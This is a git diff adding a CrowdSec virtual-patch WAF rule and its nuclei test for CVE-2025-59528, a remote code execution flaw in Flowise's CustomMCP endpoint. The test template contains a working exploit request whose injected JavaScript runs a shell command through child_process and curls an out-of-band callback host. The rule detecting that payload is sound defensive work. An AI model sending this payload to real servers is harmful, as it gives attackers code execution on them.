diff --git a/.appsec-tests/vpatch-CVE-2025-59528/CVE-2025-59528.yaml b/.appsec-tests/vpatch-CVE-2025-59528/CVE-2025-59528.yaml
new file mode 100644
index 00000000000..4d08c7d543a
--- /dev/null
+++ b/.appsec-tests/vpatch-CVE-2025-59528/CVE-2025-59528.yaml
@@ -0,0 +1,22 @@
+## autogenerated on 2026-06-17 10:34:05
+id: CVE-2025-59528
+info:
+  name: CVE-2025-59528
+  author: crowdsec
+  severity: info
+  description: CVE-2025-59528 testing
+  tags: appsec-testing
+http:
+  - raw:
+      - |
+        POST /api/v1/node-load-method/customMCP HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/json
+        x-request-from: internal
+
+        {"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.execSync(\"curl {{interactsh-url}}\");return 1;})()})"}}
+    cookie-reuse: true
+    matchers:
+    - type: status
+      status:
+       - 403
diff --git a/.appsec-tests/vpatch-CVE-2025-59528/config.yaml b/.appsec-tests/vpatch-CVE-2025-59528/config.yaml
new file mode 100644
index 00000000000..5a1ed50e5f9
--- /dev/null
+++ b/.appsec-tests/vpatch-CVE-2025-59528/config.yaml
@@ -0,0 +1,5 @@
+## autogenerated on 2026-06-17 10:34:05
+appsec-rules:
+  - ./appsec-rules/crowdsecurity/base-config.yaml
+  - ./appsec-rules/crowdsecurity/vpatch-CVE-2025-59528.yaml
+nuclei_template: CVE-2025-59528.yaml
diff --git a/appsec-rules/crowdsecurity/vpatch-CVE-2025-59528.yaml b/appsec-rules/crowdsecurity/vpatch-CVE-2025-59528.yaml
new file mode 100644
index 00000000000..2a3719d2567
--- /dev/null
+++ b/appsec-rules/crowdsecurity/vpatch-CVE-2025-59528.yaml
@@ -0,0 +1,34 @@
+## autogenerated on 2026-06-17 10:34:05
+name: crowdsecurity/vpatch-CVE-2025-59528
+description: 'Detects Flowise CustomMCP node RCE via unsafe evaluation in convertToValidJSONString.'
+rules:
+  - and:
+      - zones:
+          - URI
+        transform:
+          - lowercase
+        match:
+          type: contains
+          value: /api/v1/node-load-method/custommcp
+      - zones:
+          - BODY_ARGS
+        variables:
+          - json.inputs.mcpserverconfig
+        transform:
+          - lowercase
+          - urldecode
+        match:
+          type: contains
+          value: 'function('
+
+labels:
+  type: exploit
+  service: http
+  confidence: 3
+  spoofable: 0
+  behavior: 'http:exploit'
+  label: 'Flowise - RCE'
+  classification:
+    - cve.CVE-2025-59528
+    - attack.T1190
+    - cwe.CWE-94
diff --git a/collections/crowdsecurity/appsec-virtual-patching.yaml b/collections/crowdsecurity/appsec-virtual-patching.yaml
index c4f95a425d8..2e5b652e210 100644
--- a/collections/crowdsecurity/appsec-virtual-patching.yaml
+++ b/collections/crowdsecurity/appsec-virtual-patching.yaml
@@ -130,6 +130,7 @@ appsec-rules:
 - crowdsecurity/vpatch-CVE-2022-31499
 - crowdsecurity/vpatch-CVE-2025-57819
 - crowdsecurity/vpatch-CVE-2018-1207
+- crowdsecurity/vpatch-CVE-2025-59528
 - crowdsecurity/vpatch-CVE-2024-46506
 - crowdsecurity/vpatch-CVE-2025-3605
 - crowdsecurity/vpatch-CVE-2024-29028